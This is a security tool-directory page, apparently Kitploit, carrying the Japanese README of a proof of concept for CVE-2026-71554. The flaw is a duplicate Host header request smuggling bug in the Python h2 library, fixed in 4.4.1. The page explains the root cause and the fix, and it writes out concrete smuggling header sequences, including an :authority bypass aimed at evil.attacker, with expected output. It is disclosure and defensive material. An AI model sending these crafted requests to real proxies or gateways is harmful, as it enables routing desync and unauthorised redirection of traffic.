Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/sunandm/poc-h2-cve-2026-71554
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストウェブセキュリティAPIセキュリティ敵対的攻撃
GitHubsunandm/poc-h2-cve-2026-71554

poc-h2-CVE-2026-71554

CVE-2026-71554のPoC - h2における重複Hostヘッダーのリクエストスマグリングプリミティブ(4.4.1で修正済み)

リポジトリを見る
1282ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-71554 - h2 重複 Host ヘッダーリクエストスマグリングプリミティブ

これは私にとって初めての CVE であり、この PoC を公開して発見内容を記録し、他の人が理解し再現できるようにしました。

CVE: CVE-2026-71554 GHSA: GHSA-6hr6-w5qg-qmwg 影響を受けるバージョン: h2 <= 4.4.0 修正済み: h2 4.4.1 深刻度: 中 (CWE-444, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L = 5.3) NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71554


発見した内容

h2 のヘッダー検証ロジックをレビューしている際、src/h2/utilities.py の _validate_host_authority_header() が Host と :authority の一致をチェックしているものの、確認するのは最後の Host ヘッダーのみであることに気づきました。2 つの Host ヘッダーを送信すると、h2 は一致チェックに 2 番目のものを使い、両方をそのままアプリケーションへ転送します。

興味深いことに、h2 4.4.0 は重複した Content-Length ヘッダーをすでに ProtocolError で拒否しています。同じ修正が Host には適用されていませんでした。ソースにはこの正確なギャップを認識する TODO コメントまで存在していました:

# TODO: We should also guard against receiving duplicate Host headers,
#       and against sending duplicate headers.

根本原因

src/h2/utilities.py の _validate_host_authority_header() は、最後に確認した Host 値を記録する last-wins ループを使用し、以下のみをチェックします:

  1. :authority または Host の少なくとも一方が存在すること
  2. 両方が存在する場合、それらが一致すること

Host ヘッダーの数に関するチェックはありません。各 Host ヘッダーは、いくつ存在していても、そのまま下流のアプリケーションへ渡されます。


攻撃シナリオ

ケース 1 - 2 つの Host ヘッダー、:authority なし

クライアントが送信:

:method: GET
:path: /
:scheme: https
host: good.internal
host: evil.attacker

h2 は両方を受け入れます。アプリケーションは両方の Host ヘッダーを受信します。

HTTP/1.1 へのダウングレードにより以下が生成されます:

GET / HTTP/1.1
host: good.internal
host: evil.attacker

RFC 9112 s3.2 は、複数の Host ヘッダーを含む HTTP/1.1 リクエストに対してサーバーが 400 を返すことを要求しています。バックエンドの挙動は分かれます:

nginx          — 400 で拒否
Python stdlib  — 受け入れ、ルックアップ時に最初の Host を返す
Werkzeug       — 受け入れ、ルックアップ時に最初の Host を返す

ケース 2 - ステルススマグリング (:authority バイパス)

クライアントが送信:

:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker     <- index 0, first Host (seen by origin)
host: good.internal     <- index 1, last Host (used by h2 validator)

h2 の検証: 最後の Host (good.internal) == :authority (good.internal) - 通過。

アプリケーションは両方の Host ヘッダーを受信します。HTTP/1.1 へのダウングレードにより以下が生成されます:

GET / HTTP/1.1
host: evil.attacker
host: good.internal

単一キーのルックアップで最初の Host を返すバックエンドは、リクエストを evil.attacker へルーティングしますが、h2 は good.internal を検証したと認識していました。 h2 が検証した内容とオリジンが処理する内容との間に、完全なルーティングのデシンクが発生します。


コントロール - 単一の不一致 Host は正しく拒否される

:method: GET
:path: /
:scheme: https
:authority: good.internal
host: evil.attacker

h2 は ProtocolError を発生させます。このギャップが重複 Host ヘッダーに固有のものであることを確認できます。


影響を受ける可能性があるもの

影響はデプロイメントアーキテクチャに依存します:

  • 影響あり: クライアントから HTTP/2 を受け入れ、バックエンドへ転送する際に HTTP/1.1 へダウングレードするリバースプロキシまたは API ゲートウェイで、 バックエンドがルーティング判断に最初の Host ヘッダーを使用するもの
  • 影響を受けるバックエンド (実証済み): Python stdlib http.client、 Werkzeug Headers - どちらも重複 Host を受け入れ、最初の値を返す
  • 影響を受けないバックエンド: nginx - 重複 Host に対して 400 で拒否
  • 影響を受けないデプロイメント: HTTP/1.1 へのダウングレードを行わないエンドツーエンドの HTTP/2

再現手順

要件

pip install h2==4.4.0

実行

python3 poc_h2_duplicate_host.py

脆弱な 4.4.0 での期待される出力

CASE 1 - 2つのHostヘッダー、:authorityなし(両方とも転送される)
h2が転送したHostヘッダー: ['good.internal', 'evil.attacker']
結果として生成されるHTTP/1.1リクエスト:
GET / HTTP/1.1
host: good.internal
host: evil.attacker

CASE 2 - STEALTH: :authorityが最後のHostと一致し、最初のHostが密輸される
:authority=['good.internal']  Host(s)=['evil.attacker', 'good.internal']
h2の不一致チェックは通過する(:authority == 最後のHost)。
結果として生成されるHTTP/1.1リクエスト:
GET / HTTP/1.1
host: evil.attacker
host: good.internal

CONTROL - 単一の不一致Hostと:authority(正しく拒否される)
[control] SENDER rejected: ProtocolError(...)

4.4.1での修正を検証する

pip install h2==4.4.1
python3 poc_h2_duplicate_host.py

3つのケースすべてでProtocolErrorが発生する。ヘッダーは転送されない。


修正

_validate_host_authority_header()内の既存のループにカウンターを1つ追加する:

host_header_count = 0
for header in headers:
    if header[0] == b"host":
        host_header_count += 1
    yield header

if host_header_count > 1:
    raise ProtocolError("Request header block has multiple Host headers.")

コミット: https://github.com/python-hyper/h2/commit/292a40829feefda98c8509dcdbbb4a57af9bd6a6


クレジット

発見および報告: Sunand Mohan (https://github.com/SunandM)

ツールをダウンロード